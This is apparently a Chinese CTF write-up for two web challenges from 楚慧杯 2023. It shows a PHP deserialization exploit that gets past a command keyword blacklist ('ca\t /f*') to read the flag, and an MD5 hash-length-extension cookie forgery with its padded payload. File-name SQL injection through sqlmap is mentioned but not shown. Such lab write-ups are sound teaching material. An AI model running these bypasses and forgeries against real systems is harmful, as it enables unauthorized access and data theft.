[楚慧杯 2023] web

文章目录


eaaeval

打开题目,源码给了用户密码
在这里插入图片描述
登陆后啥也没有,扫一下发现源码泄露www.zip

<?php
class Flag{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'admin';
        $this->b = 'admin';
    }

    public function __destruct(){
        if(!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)){
		system($this->a.' '.$this->b);
	    }else{
                echo "again?";
        }
    }
}
$wzbz = $_GET['wzbz'];
unserialize($wzbz);
?>

exp如下

<?php
class Flag{
    public $a;
    public $b;
}

$A=new Flag();
$A->a='ca\t';
$A->b='/f*';
echo serialize($A);

在这里插入图片描述

upload_shell

打开题目,有个登录框,随便登录进去

得到源码

 <?php
session_start();
highlight_file(__FILE__);
include "./my.php";
echo strlen($secret);
echo"<br>";
echo(md5($secret."adminpassword"));
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["source"])) {
    if ($username === "admin" && $password != "password") {
         if ($_COOKIE["source"] === md5($secret.$username.$password)) {

         // 在验证用户后,如果登录成功,设置会话变量来表示用户已登录
          $_SESSION['loggedin'] = true;
          $_SESSION['username'] = 'admin'; // 用户名
          $_SESSION['role'] = 'admin'; // 用户角色或权限
          echo "<script>window.location.href='upload.php';</script>";
        }
        else {
             echo "<br>"; 
            die ("你的cookie好像不太对啊");
        }
    }
    else {
        die ("可不会轻易放你进去");
    }
}
    
14
879bd10c8628894d388c068a25326c21

分析一下发现是哈希长度拓展攻击
直接脚本
在这里插入图片描述
bp抓包修改cookie

username=admin&password=password%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00ctf

成功跳转
在这里插入图片描述
这里考点是文件上传注入,对文件名注入
直接sqlmap跑

相关推荐

最近更新

  1. 大众点评商家电话采集软件分享 解析爬虫工具

    2023-12-17 23:50:04       0 阅读
  2. Python 使用正则提取字符串

    2023-12-17 23:50:04       0 阅读
  3. 专业课笔记——(第十二章:文件的读写)

    2023-12-17 23:50:04       1 阅读
  4. lvs集群

    2023-12-17 23:50:04       1 阅读
  5. Perl 语言入门学习

    2023-12-17 23:50:04       0 阅读

热门阅读

  1. [Unity] 基于迭代器的协程底层原理详解

    2023-12-17 23:50:04       44 阅读
  2. C语言——谁考了第k名(编程题目)

    2023-12-17 23:50:04       37 阅读
  3. 从零开始搭建Go语言开发环境

    2023-12-17 23:50:04       41 阅读
  4. gdb print,gdb x和gdb display的使用

    2023-12-17 23:50:04       51 阅读
  5. Spring Boot注解说明

    2023-12-17 23:50:04       35 阅读
  6. 【.Net 6.0--通用帮助类--ConvertHelper】

    2023-12-17 23:50:04       32 阅读